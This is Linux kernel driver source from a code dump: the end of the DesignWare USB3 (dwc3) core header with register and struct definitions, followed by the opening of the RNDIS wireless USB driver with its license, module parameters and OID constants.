#define DWC3_DCFG_FULLSPEED2 (1 << 0)
#define DWC3_DCFG_LOWSPEED (2 << 0)
#define DWC3_DCFG_FULLSPEED1 (3 << 0)
#define DWC3_DCFG_LPM_CAP (1 << 22)
/* Device Control Register */
#define DWC3_DCTL_RUN_STOP (1 << 31)
#define DWC3_DCTL_CSFTRST (1 << 30)
#define DWC3_DCTL_LSFTRST (1 << 29)
#define DWC3_DCTL_HIRD_THRES_MASK (0x1f << 24)
#define DWC3_DCTL_HIRD_THRES(n) ((n) << 24)
#define DWC3_DCTL_APPL1RES (1 << 23)
/* These apply for core versions 1.87a and earlier */
#define DWC3_DCTL_TRGTULST_MASK (0x0f << 17)
#define DWC3_DCTL_TRGTULST(n) ((n) << 17)
#define DWC3_DCTL_TRGTULST_U2 (DWC3_DCTL_TRGTULST(2))
#define DWC3_DCTL_TRGTULST_U3 (DWC3_DCTL_TRGTULST(3))
#define DWC3_DCTL_TRGTULST_SS_DIS (DWC3_DCTL_TRGTULST(4))
#define DWC3_DCTL_TRGTULST_RX_DET (DWC3_DCTL_TRGTULST(5))
#define DWC3_DCTL_TRGTULST_SS_INACT (DWC3_DCTL_TRGTULST(6))
/* These apply for core versions 1.94a and later */
#define DWC3_DCTL_KEEP_CONNECT (1 << 19)
#define DWC3_DCTL_L1_HIBER_EN (1 << 18)
#define DWC3_DCTL_CRS (1 << 17)
#define DWC3_DCTL_CSS (1 << 16)
#define DWC3_DCTL_INITU2ENA (1 << 12)
#define DWC3_DCTL_ACCEPTU2ENA (1 << 11)
#define DWC3_DCTL_INITU1ENA (1 << 10)
#define DWC3_DCTL_ACCEPTU1ENA (1 << 9)
#define DWC3_DCTL_TSTCTRL_MASK (0xf << 1)
#define DWC3_DCTL_ULSTCHNGREQ_MASK (0x0f << 5)
#define DWC3_DCTL_ULSTCHNGREQ(n) (((n) << 5) & DWC3_DCTL_ULSTCHNGREQ_MASK)
#define DWC3_DCTL_ULSTCHNG_NO_ACTION (DWC3_DCTL_ULSTCHNGREQ(0))
#define DWC3_DCTL_ULSTCHNG_SS_DISABLED (DWC3_DCTL_ULSTCHNGREQ(4))
#define DWC3_DCTL_ULSTCHNG_RX_DETECT (DWC3_DCTL_ULSTCHNGREQ(5))
#define DWC3_DCTL_ULSTCHNG_SS_INACTIVE (DWC3_DCTL_ULSTCHNGREQ(6))
#define DWC3_DCTL_ULSTCHNG_RECOVERY (DWC3_DCTL_ULSTCHNGREQ(8))
#define DWC3_DCTL_ULSTCHNG_COMPLIANCE (DWC3_DCTL_ULSTCHNGREQ(10))
#define DWC3_DCTL_ULSTCHNG_LOOPBACK (DWC3_DCTL_ULSTCHNGREQ(11))
/* Device Event Enable Register */
#define DWC3_DEVTEN_VNDRDEVTSTRCVEDEN (1 << 12)
#define DWC3_DEVTEN_EVNTOVERFLOWEN (1 << 11)
#define DWC3_DEVTEN_CMDCMPLTEN (1 << 10)
#define DWC3_DEVTEN_ERRTICERREN (1 << 9)
#define DWC3_DEVTEN_SOFEN (1 << 7)
#define DWC3_DEVTEN_EOPFEN (1 << 6)
#define DWC3_DEVTEN_HIBERNATIONREQEVTEN (1 << 5)
#define DWC3_DEVTEN_WKUPEVTEN (1 << 4)
#define DWC3_DEVTEN_ULSTCNGEN (1 << 3)
#define DWC3_DEVTEN_CONNECTDONEEN (1 << 2)
#define DWC3_DEVTEN_USBRSTEN (1 << 1)
#define DWC3_DEVTEN_DISCONNEVTEN (1 << 0)
/* Device Status Register */
#define DWC3_DSTS_DCNRD (1 << 29)
/* This applies for core versions 1.87a and earlier */
#define DWC3_DSTS_PWRUPREQ (1 << 24)
/* These apply for core versions 1.94a and later */
#define DWC3_DSTS_RSS (1 << 25)
#define DWC3_DSTS_SSS (1 << 24)
#define DWC3_DSTS_COREIDLE (1 << 23)
#define DWC3_DSTS_DEVCTRLHLT (1 << 22)
#define DWC3_DSTS_USBLNKST_MASK (0x0f << 18)
#define DWC3_DSTS_USBLNKST(n) (((n) & DWC3_DSTS_USBLNKST_MASK) >> 18)
#define DWC3_DSTS_RXFIFOEMPTY (1 << 17)
#define DWC3_DSTS_SOFFN_MASK (0x3fff << 3)
#define DWC3_DSTS_SOFFN(n) (((n) & DWC3_DSTS_SOFFN_MASK) >> 3)
#define DWC3_DSTS_CONNECTSPD (7 << 0)
#define DWC3_DSTS_SUPERSPEED (4 << 0)
#define DWC3_DSTS_HIGHSPEED (0 << 0)
#define DWC3_DSTS_FULLSPEED2 (1 << 0)
#define DWC3_DSTS_LOWSPEED (2 << 0)
#define DWC3_DSTS_FULLSPEED1 (3 << 0)
/* Device Generic Command Register */
#define DWC3_DGCMD_SET_LMP 0x01
#define DWC3_DGCMD_SET_PERIODIC_PAR 0x02
#define DWC3_DGCMD_XMIT_FUNCTION 0x03
/* These apply for core versions 1.94a and later */
#define DWC3_DGCMD_SET_SCRATCHPAD_ADDR_LO 0x04
#define DWC3_DGCMD_SET_SCRATCHPAD_ADDR_HI 0x05
#define DWC3_DGCMD_SELECTED_FIFO_FLUSH 0x09
#define DWC3_DGCMD_ALL_FIFO_FLUSH 0x0a
#define DWC3_DGCMD_SET_ENDPOINT_NRDY 0x0c
#define DWC3_DGCMD_RUN_SOC_BUS_LOOPBACK 0x10
#define DWC3_DGCMD_STATUS(n) (((n) >> 15) & 1)
#define DWC3_DGCMD_CMDACT (1 << 10)
#define DWC3_DGCMD_CMDIOC (1 << 8)
/* Device Generic Command Parameter Register */
#define DWC3_DGCMDPAR_FORCE_LINKPM_ACCEPT (1 << 0)
#define DWC3_DGCMDPAR_FIFO_NUM(n) ((n) << 0)
#define DWC3_DGCMDPAR_RX_FIFO (0 << 5)
#define DWC3_DGCMDPAR_TX_FIFO (1 << 5)
#define DWC3_DGCMDPAR_LOOPBACK_DIS (0 << 0)
#define DWC3_DGCMDPAR_LOOPBACK_ENA (1 << 0)
/* Device Endpoint Command Register */
#define DWC3_DEPCMD_PARAM_SHIFT 16
#define DWC3_DEPCMD_PARAM(x) ((x) << DWC3_DEPCMD_PARAM_SHIFT)
#define DWC3_DEPCMD_GET_RSC_IDX(x) (((x) >> DWC3_DEPCMD_PARAM_SHIFT) & 0x7f)
#define DWC3_DEPCMD_STATUS(x) (((x) >> 15) & 1)
#define DWC3_DEPCMD_HIPRI_FORCERM (1 << 11)
#define DWC3_DEPCMD_CMDACT (1 << 10)
#define DWC3_DEPCMD_CMDIOC (1 << 8)
#define DWC3_DEPCMD_DEPSTARTCFG (0x09 << 0)
#define DWC3_DEPCMD_ENDTRANSFER (0x08 << 0)
#define DWC3_DEPCMD_UPDATETRANSFER (0x07 << 0)
#define DWC3_DEPCMD_STARTTRANSFER (0x06 << 0)
#define DWC3_DEPCMD_CLEARSTALL (0x05 << 0)
#define DWC3_DEPCMD_SETSTALL (0x04 << 0)
/* This applies for core versions 1.90a and earlier */
#define DWC3_DEPCMD_GETSEQNUMBER (0x03 << 0)
/* This applies for core versions 1.94a and later */
#define DWC3_DEPCMD_GETEPSTATE (0x03 << 0)
#define DWC3_DEPCMD_SETTRANSFRESOURCE (0x02 << 0)
#define DWC3_DEPCMD_SETEPCONFIG (0x01 << 0)
/* The EP number goes 0..31 so ep0 is always out and ep1 is always in */
#define DWC3_DALEPENA_EP(n) (1 << n)
#define DWC3_DEPCMD_TYPE_CONTROL 0
#define DWC3_DEPCMD_TYPE_ISOC 1
#define DWC3_DEPCMD_TYPE_BULK 2
#define DWC3_DEPCMD_TYPE_INTR 3
/* OTG Events Register */
#define DWC3_OEVT_DEVICEMODE (1 << 31)
#define DWC3_OEVTEN_OTGCONIDSTSCHNGEVNT (1 << 24)
#define DWC3_OEVTEN_OTGADEVBHOSTENDEVNT (1 << 20)
#define DWC3_OEVTEN_OTGADEVHOSTEVNT (1 << 19)
#define DWC3_OEVTEN_OTGADEVHNPCHNGEVNT (1 << 18)
#define DWC3_OEVTEN_OTGADEVSRPDETEVNT (1 << 17)
#define DWC3_OEVTEN_OTGADEVSESSENDDETEVNT (1 << 16)
#define DWC3_OEVTEN_OTGBDEVBHOSTENDEVNT (1 << 11)
#define DWC3_OEVTEN_OTGBDEVHNPCHNGEVNT (1 << 10)
#define DWC3_OEVTEN_OTGBDEVSESSVLDDETEVNT (1 << 9)
#define DWC3_OEVTEN_OTGBDEVVBUSCHNGEVNT (1 << 8)
/* OTG OSTS register */
#define DWC3_OTG_OSTS_OTGSTATE_SHIFT (8)
#define DWC3_OTG_OSTS_OTGSTATE (0xF << DWC3_OTG_OSTS_OTGSTATE_SHIFT)
#define DWC3_OTG_OSTS_PERIPHERALSTATE (1 << 4)
#define DWC3_OTG_OSTS_XHCIPRTPOWER (1 << 3)
#define DWC3_OTG_OSTS_BSESVALID (1 << 2)
#define DWC3_OTG_OSTS_VBUSVALID (1 << 1)
#define DWC3_OTG_OSTS_CONIDSTS (1 << 0)
/* OTG OSTS register */
#define DWC3_OTG_OCTL_PERIMODE (1 << 6)
#define DWC3_OTG_OCTL_PRTPWRCTL (1 << 5)
#define DWC3_OTG_OCTL_HNPREQ (1 << 4)
#define DWC3_OTG_OCTL_SESREQ (1 << 3)
#define DWC3_OTG_OCTL_TERMSELDLPULSE (1 << 2)
#define DWC3_OTG_OCTL_DEVSETHNPEN (1 << 1)
#define DWC3_OTG_OCTL_HSTSETHNPEN (1 << 0)
/* Structures */
struct dwc3_trb;
/**
* struct dwc3_event_buffer - Software event buffer representation
* @list: a list of event buffers
* @buf: _THE_ buffer
* @length: size of this buffer
* @dma: dma_addr_t
* @dwc: pointer to DWC controller
*/
struct dwc3_event_buffer {
void *buf;
unsigned length;
unsigned int lpos;
dma_addr_t dma;
struct dwc3 *dwc;
};
#define DWC3_EP_FLAG_STALLED (1 << 0)
#define DWC3_EP_FLAG_WEDGED (1 << 1)
#define DWC3_EP_DIRECTION_TX true
#define DWC3_EP_DIRECTION_RX false
#define DWC3_TRB_NUM 32
#define DWC3_TRB_MASK (DWC3_TRB_NUM - 1)
/**
* struct dwc3_ep - device side endpoint representation
* @endpoint: usb endpoint
* @request_list: list of requests for this endpoint
* @req_queued: list of requests on this ep which have TRBs setup
* @trb_pool: array of transaction buffers
* @trb_pool_dma: dma address of @trb_pool
* @free_slot: next slot which is going to be used
* @busy_slot: first slot which is owned by HW
* @desc: usb_endpoint_descriptor pointer
* @dwc: pointer to DWC controller
* @flags: endpoint flags (wedged, stalled, ...)
* @current_trb: index of current used trb
* @number: endpoint number (1 - 15)
* @type: set to bmAttributes & USB_ENDPOINT_XFERTYPE_MASK
* @resource_index: Resource transfer index
* @current_uf: Current uf received through last event parameter
* @interval: the intervall on which the ISOC transfer is started
* @name: a human readable name e.g. ep1out-bulk
* @direction: true for TX, false for RX
* @stream_capable: true when streams are enabled
*/
struct dwc3_ep {
struct usb_ep endpoint;
struct list_head request_list;
struct list_head req_queued;
struct dwc3_trb *trb_pool;
dma_addr_t trb_pool_dma;
u32 free_slot;
u32 busy_slot;
const struct usb_ss_ep_comp_descriptor *comp_desc;
struct dwc3 *dwc;
unsigned flags;
#define DWC3_EP_ENABLED (1 << 0)
#define DWC3_EP_STALL (1 << 1)
#define DWC3_EP_WEDGE (1 << 2)
#define DWC3_EP_BUSY (1 << 4)
#define DWC3_EP_PENDING_REQUEST (1 << 5)
#define DWC3_EP_MISSED_ISOC (1 << 6)
/* This last one is specific to EP0 */
#define DWC3_EP0_DIR_IN (1 << 31)
unsigned current_trb;
u8 number;
u8 type;
u8 resource_index;
u16 current_uf;
u32 interval;
char name[20];
unsigned direction:1;
unsigned stream_capable:1;
};
enum dwc3_phy {
DWC3_PHY_UNKNOWN = 0,
DWC3_PHY_USB3,
DWC3_PHY_USB2,
};
enum dwc3_ep0_next {
DWC3_EP0_UNKNOWN = 0,
DWC3_EP0_COMPLETE,
DWC3_EP0_NRDY_DATA,
DWC3_EP0_NRDY_STATUS,
};
enum dwc3_ep0_state {
EP0_UNCONNECTED = 0,
EP0_SETUP_PHASE,
EP0_DATA_PHASE,
EP0_STATUS_PHASE,
};
enum dwc3_link_state {
/* In SuperSpeed */
DWC3_LINK_STATE_U0 = 0x00, /* in HS, means ON */
DWC3_LINK_STATE_U1 = 0x01,
DWC3_LINK_STATE_U2 = 0x02, /* in HS, means SLEEP */
DWC3_LINK_STATE_U3 = 0x03, /* in HS, means SUSPEND */
DWC3_LINK_STATE_SS_DIS = 0x04,
DWC3_LINK_STATE_RX_DET = 0x05, /* in HS, means Early Suspend */
DWC3_LINK_STATE_SS_INACT = 0x06,
DWC3_LINK_STATE_POLL = 0x07,
DWC3_LINK_STATE_RECOV = 0x08,
DWC3_LINK_STATE_HRESET = 0x09,
DWC3_LINK_STATE_CMPLY = 0x0a,
DWC3_LINK_STATE_LPBK = 0x0b,
DWC3_LINK_STATE_RESET = 0x0e,
DWC3_LINK_STATE_RESUME = 0x0f,
DWC3_LINK_STATE_MASK = 0x0f,
};
enum dwc3_device_state {
DWC3_DEFAULT_STATE,
DWC3_ADDRESS_STATE,
DWC3_CONFIGURED_STATE,
};
/* TRB Length, PCM and Status */
#define DWC3_TRB_SIZE_MASK (0x00ffffff)
#define DWC3_TRB_SIZE_LENGTH(n) ((n) & DWC3_TRB_SIZE_MASK)
#define DWC3_TRB_SIZE_PCM1(n) (((n) & 0x03) << 24)
#define DWC3_TRB_SIZE_TRBSTS(n) (((n) & (0x0f << 28)) >> 28)
#define DWC3_TRBSTS_OK 0
#define DWC3_TRBSTS_MISSED_ISOC 1
#define DWC3_TRBSTS_SETUP_PENDING 2
#define DWC3_TRB_STS_XFER_IN_PROG 4
/* TRB Control */
#define DWC3_TRB_CTRL_HWO (1 << 0)
#define DWC3_TRB_CTRL_LST (1 << 1)
#define DWC3_TRB_CTRL_CHN (1 << 2)
#define DWC3_TRB_CTRL_CSP (1 << 3)
#define DWC3_TRB_CTRL_TRBCTL(n) (((n) & 0x3f) << 4)
#define DWC3_TRB_CTRL_ISP_IMI (1 << 10)
#define DWC3_TRB_CTRL_IOC (1 << 11)
#define DWC3_TRB_CTRL_SID_SOFN(n) (((n) & 0xffff) << 14)
#define DWC3_TRBCTL_NORMAL DWC3_TRB_CTRL_TRBCTL(1)
#define DWC3_TRBCTL_CONTROL_SETUP DWC3_TRB_CTRL_TRBCTL(2)
#define DWC3_TRBCTL_CONTROL_STATUS2 DWC3_TRB_CTRL_TRBCTL(3)
#define DWC3_TRBCTL_CONTROL_STATUS3 DWC3_TRB_CTRL_TRBCTL(4)
#define DWC3_TRBCTL_CONTROL_DATA DWC3_TRB_CTRL_TRBCTL(5)
#define DWC3_TRBCTL_ISOCHRONOUS_FIRST DWC3_TRB_CTRL_TRBCTL(6)
#define DWC3_TRBCTL_ISOCHRONOUS DWC3_TRB_CTRL_TRBCTL(7)
#define DWC3_TRBCTL_LINK_TRB DWC3_TRB_CTRL_TRBCTL(8)
/**
* struct dwc3_trb - transfer request block (hw format)
* @bpl: DW0-3
* @bph: DW4-7
* @size: DW8-B
* @trl: DWC-F
*/
struct dwc3_trb {
u32 bpl;
u32 bph;
u32 size;
u32 ctrl;
} __packed;
/**
* dwc3_hwparams - copy of HWPARAMS registers
* @hwparams0 - GHWPARAMS0
* @hwparams1 - GHWPARAMS1
* @hwparams2 - GHWPARAMS2
* @hwparams3 - GHWPARAMS3
* @hwparams4 - GHWPARAMS4
* @hwparams5 - GHWPARAMS5
* @hwparams6 - GHWPARAMS6
* @hwparams7 - GHWPARAMS7
* @hwparams8 - GHWPARAMS8
*/
struct dwc3_hwparams {
u32 hwparams0;
u32 hwparams1;
u32 hwparams2;
u32 hwparams3;
u32 hwparams4;
u32 hwparams5;
u32 hwparams6;
u32 hwparams7;
u32 hwparams8;
};
/* HWPARAMS0 */
#define DWC3_MODE(n) ((n) & 0x7)
#define DWC3_MODE_DEVICE 0
#define DWC3_MODE_HOST 1
#define DWC3_MODE_DRD 2
#define DWC3_MODE_HUB 3
#define DWC3_MDWIDTH(n) (((n) & 0xff00) >> 8)
/* HWPARAMS1 */
#define DWC3_NUM_INT(n) (((n) & (0x3f << 15)) >> 15)
/* HWPARAMS7 */
#define DWC3_RAM1_DEPTH(n) ((n) & 0xffff)
struct dwc3_request {
struct usb_request request;
struct list_head list;
struct dwc3_ep *dep;
u8 epnum;
struct dwc3_trb *trb;
dma_addr_t trb_dma;
unsigned direction:1;
unsigned mapped:1;
unsigned queued:1;
};
/*
* struct dwc3_scratchpad_array - hibernation scratchpad array
* (format defined by hw)
*/
struct dwc3_scratchpad_array {
__le64 dma_adr[DWC3_MAX_HIBER_SCRATCHBUFS];
};
#define DWC3_CONTROLLER_ERROR_EVENT 0
#define DWC3_CONTROLLER_RESET_EVENT 1
#define DWC3_CONTROLLER_POST_RESET_EVENT 2
#define DWC3_CONTROLLER_POST_INITIALIZATION_EVENT 3
/**
* struct dwc3 - representation of our controller
* @ctrl_req: usb control request which is used for ep0
* @ep0_trb: trb which is used for the ctrl_req
* @ep0_bounce: bounce buffer for ep0
* @setup_buf: used while precessing STD USB requests
* @ctrl_req_addr: dma address of ctrl_req
* @ep0_trb: dma address of ep0_trb
* @ep0_usb_req: dummy req used while handling STD USB requests
* @ep0_bounce_addr: dma address of ep0_bounce
* @lock: for synchronizing
* @dev: pointer to our struct device
* @xhci: pointer to our xHCI child
* @event_buffer_list: a list of event buffers
* @gadget: device side representation of the peripheral controller
* @gadget_driver: pointer to the gadget driver
* @regs: base address for our registers
* @regs_size: address space size
* @irq: IRQ number
* @num_event_buffers: calculated number of event buffers
* @u1u2: only used on revisions <1.83a for workaround
* @maximum_speed: maximum speed requested (mainly for testing purposes)
* @revision: revision register contents
* @mode: mode of operation
* @is_selfpowered: true when we are selfpowered
* @three_stage_setup: set if we perform a three phase setup
* @ep0_bounced: true when we used bounce buffer
* @ep0_expect_in: true when we expect a DATA IN transfer
* @start_config_issued: true when StartConfig command has been issued
* @setup_packet_pending: true when there's a Setup Packet in FIFO. Workaround
* @needs_fifo_resize: not all users might want fifo resizing, flag it
* @resize_fifos: tells us it's ok to reconfigure our TxFIFO sizes.
* @isoch_delay: wValue from Set Isochronous Delay request;
* @u2sel: parameter from Set SEL request.
* @u2pel: parameter from Set SEL request.
* @u1sel: parameter from Set SEL request.
* @u1pel: parameter from Set SEL request.
* @ep0_next_event: hold the next expected event
* @ep0state: state of endpoint zero
* @link_state: link state
* @speed: device speed (super, high, full, low)
* @mem: points to start of memory which is used for this struct.
* @hwparams: copy of hwparams registers
* @root: debugfs root folder pointer
* @tx_fifo_size: Available RAM size for TX fifo allocation
*/
struct dwc3 {
struct usb_ctrlrequest *ctrl_req;
struct dwc3_trb *ep0_trb;
void *ep0_bounce;
u8 *setup_buf;
dma_addr_t ctrl_req_addr;
dma_addr_t ep0_trb_addr;
dma_addr_t ep0_bounce_addr;
struct dwc3_request ep0_usb_req;
/* device lock */
spinlock_t lock;
struct device *dev;
struct dwc3_otg *dotg;
struct platform_device *xhci;
struct resource xhci_resources[DWC3_XHCI_RESOURCES_NUM];
struct dwc3_event_buffer **ev_buffs;
struct dwc3_ep *eps[DWC3_ENDPOINTS_NUM];
struct usb_gadget gadget;
struct usb_gadget_driver *gadget_driver;
void __iomem *regs;
size_t regs_size;
u32 num_event_buffers;
u32 u1u2;
u32 maximum_speed;
u32 revision;
u32 mode;
#define DWC3_REVISION_173A 0x5533173a
#define DWC3_REVISION_175A 0x5533175a
#define DWC3_REVISION_180A 0x5533180a
#define DWC3_REVISION_183A 0x5533183a
#define DWC3_REVISION_185A 0x5533185a
#define DWC3_REVISION_187A 0x5533187a
#define DWC3_REVISION_188A 0x5533188a
#define DWC3_REVISION_190A 0x5533190a
#define DWC3_REVISION_194A 0x5533194a
#define DWC3_REVISION_200A 0x5533200a
#define DWC3_REVISION_202A 0x5533202a
#define DWC3_REVISION_210A 0x5533210a
#define DWC3_REVISION_220A 0x5533220a
#define DWC3_REVISION_230A 0x5533230a
unsigned is_selfpowered:1;
unsigned three_stage_setup:1;
unsigned ep0_bounced:1;
unsigned ep0_expect_in:1;
unsigned start_config_issued:1;
unsigned setup_packet_pending:1;
unsigned delayed_status:1;
unsigned needs_fifo_resize:1;
unsigned resize_fifos:1;
enum dwc3_ep0_next ep0_next_event;
enum dwc3_ep0_state ep0state;
enum dwc3_link_state link_state;
enum dwc3_device_state dev_state;
u16 isoch_delay;
u16 u2sel;
u16 u2pel;
u8 u1sel;
u8 u1pel;
u8 speed;
void *mem;
struct dwc3_hwparams hwparams;
struct dentry *root;
u8 test_mode;
u8 test_mode_nr;
/* Indicate if the gadget was powered by the otg driver */
bool vbus_active;
/* Indicate if software connect was issued by the usb_gadget_driver */
bool softconnect;
void (*notify_event) (struct dwc3 *, unsigned);
#if defined(CONFIG_SEC_H_PROJECT) || defined(CONFIG_SEC_F_PROJECT) || defined(CONFIG_SEC_K_PROJECT)
enum usb_device_speed speed_limit;
struct work_struct reconnect_work;
int ss_host_avail;
bool reconnect;
#endif
int tx_fifo_size;
bool tx_fifo_reduced;
};
/* -------------------------------------------------------------------------- */
/* -------------------------------------------------------------------------- */
struct dwc3_event_type {
u32 is_devspec:1;
u32 type:7;
u32 reserved8_31:24;
} __packed;
#define DWC3_DEPEVT_XFERCOMPLETE 0x01
#define DWC3_DEPEVT_XFERINPROGRESS 0x02
#define DWC3_DEPEVT_XFERNOTREADY 0x03
#define DWC3_DEPEVT_RXTXFIFOEVT 0x04
#define DWC3_DEPEVT_STREAMEVT 0x06
#define DWC3_DEPEVT_EPCMDCMPLT 0x07
/**
* struct dwc3_event_depvt - Device Endpoint Events
* @one_bit: indicates this is an endpoint event (not used)
* @endpoint_number: number of the endpoint
* @endpoint_event: The event we have:
* 0x00 - Reserved
* 0x01 - XferComplete
* 0x02 - XferInProgress
* 0x03 - XferNotReady
* 0x04 - RxTxFifoEvt (IN->Underrun, OUT->Overrun)
* 0x05 - Reserved
* 0x06 - StreamEvt
* 0x07 - EPCmdCmplt
* @reserved11_10: Reserved, don't use.
* @status: Indicates the status of the event. Refer to databook for
* more information.
* @parameters: Parameters of the current event. Refer to databook for
* more information.
*/
struct dwc3_event_depevt {
u32 one_bit:1;
u32 endpoint_number:5;
u32 endpoint_event:4;
u32 reserved11_10:2;
u32 status:4;
/* Within XferNotReady */
#define DEPEVT_STATUS_TRANSFER_ACTIVE (1 << 3)
/* Within XferComplete */
#define DEPEVT_STATUS_BUSERR (1 << 0)
#define DEPEVT_STATUS_SHORT (1 << 1)
#define DEPEVT_STATUS_IOC (1 << 2)
#define DEPEVT_STATUS_LST (1 << 3)
/* Stream event only */
#define DEPEVT_STREAMEVT_FOUND 1
#define DEPEVT_STREAMEVT_NOTFOUND 2
/* Control-only Status */
#define DEPEVT_STATUS_CONTROL_DATA 1
#define DEPEVT_STATUS_CONTROL_STATUS 2
u32 parameters:16;
} __packed;
/**
* struct dwc3_event_devt - Device Events
* @one_bit: indicates this is a non-endpoint event (not used)
* @device_event: indicates it's a device event. Should read as 0x00
* @type: indicates the type of device event.
* 0 - DisconnEvt
* 1 - USBRst
* 2 - ConnectDone
* 3 - ULStChng
* 4 - WkUpEvt
* 5 - Reserved
* 6 - EOPF
* 7 - SOF
* 8 - Reserved
* 9 - ErrticErr
* 10 - CmdCmplt
* 11 - EvntOverflow
* 12 - VndrDevTstRcved
* @reserved15_12: Reserved, not used
* @event_info: Information about this event
* @reserved31_25: Reserved, not used
*/
struct dwc3_event_devt {
u32 one_bit:1;
u32 device_event:7;
u32 type:4;
u32 reserved15_12:4;
u32 event_info:9;
u32 reserved31_25:7;
} __packed;
/**
* struct dwc3_event_gevt - Other Core Events
* @one_bit: indicates this is a non-endpoint event (not used)
* @device_event: indicates it's (0x03) Carkit or (0x04) I2C event.
* @phy_port_number: self-explanatory
* @reserved31_12: Reserved, not used.
*/
struct dwc3_event_gevt {
u32 one_bit:1;
u32 device_event:7;
u32 phy_port_number:4;
u32 reserved31_12:20;
} __packed;
/**
* union dwc3_event - representation of Event Buffer contents
* @raw: raw 32-bit event
* @type: the type of the event
* @depevt: Device Endpoint Event
* @devt: Device Event
* @gevt: Global Event
*/
union dwc3_event {
u32 raw;
struct dwc3_event_type type;
struct dwc3_event_depevt depevt;
struct dwc3_event_devt devt;
struct dwc3_event_gevt gevt;
};
/*
* DWC3 Features to be used as Driver Data
*/
#define DWC3_HAS_PERIPHERAL BIT(0)
#define DWC3_HAS_XHCI BIT(1)
#define DWC3_HAS_OTG BIT(3)
/* prototypes */
void dwc3_set_mode(struct dwc3 *dwc, u32 mode);
int dwc3_gadget_resize_tx_fifos(struct dwc3 *dwc);
int dwc3_otg_init(struct dwc3 *dwc);
void dwc3_otg_exit(struct dwc3 *dwc);
int dwc3_host_init(struct dwc3 *dwc);
void dwc3_host_exit(struct dwc3 *dwc);
int dwc3_gadget_init(struct dwc3 *dwc);
void dwc3_gadget_exit(struct dwc3 *dwc);
void dwc3_gadget_restart(struct dwc3 *dwc);
void dwc3_post_host_reset_core_init(struct dwc3 *dwc);
int dwc3_event_buffers_setup(struct dwc3 *dwc);
extern void dwc3_set_notifier(
void (*notify) (struct dwc3 *dwc3, unsigned event));
extern void dwc3_notify_event(struct dwc3 *dwc3, unsigned event);
extern int dwc3_get_device_id(void);
extern void dwc3_put_device_id(int id);
#endif /* __DRIVERS_USB_DWC3_CORE_H */
| GuneetAtwal/kernel_g900f | drivers/usb/dwc3/core.h | C | gpl-2.0 | 29,181 |
/*
* Driver for RNDIS based wireless USB devices.
*
* Copyright (C) 2007 by Bjorge Dijkstra <bjd@jooz.net>
* Copyright (C) 2008-2009 by Jussi Kivilinna <jussi.kivilinna@mbnet.fi>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* Portions of this file are based on NDISwrapper project,
* Copyright (C) 2003-2005 Pontus Fuchs, Giridhar Pemmasani
* http://ndiswrapper.sourceforge.net/
*/
// #define DEBUG // error path messages, extra info
// #define VERBOSE // more; success messages
#include <linux/module.h>
#include <linux/init.h>
#include <linux/netdevice.h>
#include <linux/etherdevice.h>
#include <linux/ethtool.h>
#include <linux/workqueue.h>
#include <linux/mutex.h>
#include <linux/mii.h>
#include <linux/usb.h>
#include <linux/usb/cdc.h>
#include <linux/ieee80211.h>
#include <linux/if_arp.h>
#include <linux/ctype.h>
#include <linux/spinlock.h>
#include <linux/slab.h>
#include <net/cfg80211.h>
#include <linux/usb/usbnet.h>
#include <linux/usb/rndis_host.h>
/* NOTE: All these are settings for Broadcom chipset */
static char modparam_country[4] = "EU";
module_param_string(country, modparam_country, 4, 0444);
MODULE_PARM_DESC(country, "Country code (ISO 3166-1 alpha-2), default: EU");
static int modparam_frameburst = 1;
module_param_named(frameburst, modparam_frameburst, int, 0444);
MODULE_PARM_DESC(frameburst, "enable frame bursting (default: on)");
static int modparam_afterburner = 0;
module_param_named(afterburner, modparam_afterburner, int, 0444);
MODULE_PARM_DESC(afterburner,
"enable afterburner aka '125 High Speed Mode' (default: off)");
static int modparam_power_save = 0;
module_param_named(power_save, modparam_power_save, int, 0444);
MODULE_PARM_DESC(power_save,
"set power save mode: 0=off, 1=on, 2=fast (default: off)");
static int modparam_power_output = 3;
module_param_named(power_output, modparam_power_output, int, 0444);
MODULE_PARM_DESC(power_output,
"set power output: 0=25%, 1=50%, 2=75%, 3=100% (default: 100%)");
static int modparam_roamtrigger = -70;
module_param_named(roamtrigger, modparam_roamtrigger, int, 0444);
MODULE_PARM_DESC(roamtrigger,
"set roaming dBm trigger: -80=optimize for distance, "
"-60=bandwidth (default: -70)");
static int modparam_roamdelta = 1;
module_param_named(roamdelta, modparam_roamdelta, int, 0444);
MODULE_PARM_DESC(roamdelta,
"set roaming tendency: 0=aggressive, 1=moderate, "
"2=conservative (default: moderate)");
static int modparam_workaround_interval;
module_param_named(workaround_interval, modparam_workaround_interval,
int, 0444);
MODULE_PARM_DESC(workaround_interval,
"set stall workaround interval in msecs (0=disabled) (default: 0)");
/* various RNDIS OID defs */
#define OID_GEN_LINK_SPEED cpu_to_le32(0x00010107)
#define OID_GEN_RNDIS_CONFIG_PARAMETER cpu_to_le32(0x0001021b)
#define OID_GEN_XMIT_OK cpu_to_le32(0x00020101)
#define OID_GEN_RCV_OK cpu_to_le32(0x00020102)
#define OID_GEN_XMIT_ERROR cpu_to_le32(0x00020103)
#define OID_GEN_RCV_ERROR cpu_to_le32(0x00020104)
#define OID_GEN_RCV_NO_BUFFER cpu_to_le32(0x00020105)
#define OID_802_3_CURRENT_ADDRESS cpu_to_le32(0x01010102)
#define OID_802_3_MULTICAST_LIST cpu_to_le32(0x01010103)
#define OID_802_3_MAXIMUM_LIST_SIZE cpu_to_le32(0x01010104)
#define OID_802_11_BSSID cpu_to_le32(0x0d010101)
#define OID_802_11_SSID cpu_to_le32(0x0d010102)
#define OID_802_11_INFRASTRUCTURE_MODE cpu_to_le32(0x0d010108)
#define OID_802_11_ADD_WEP cpu_to_le32(0x0d010113)
#define OID_802_11_REMOVE_WEP cpu_to_le32(0x0d010114)
#define OID_802_11_DISASSOCIATE cpu_to_le32(0x0d010115)
#define OID_802_11_AUTHENTICATION_MODE cpu_to_le32(0x0d010118)
#define OID_802_11_PRIVACY_FILTER cpu_to_le32(0x0d010119)
#define OID_802_11_BSSID_LIST_SCAN cpu_to_le32(0x0d01011a)
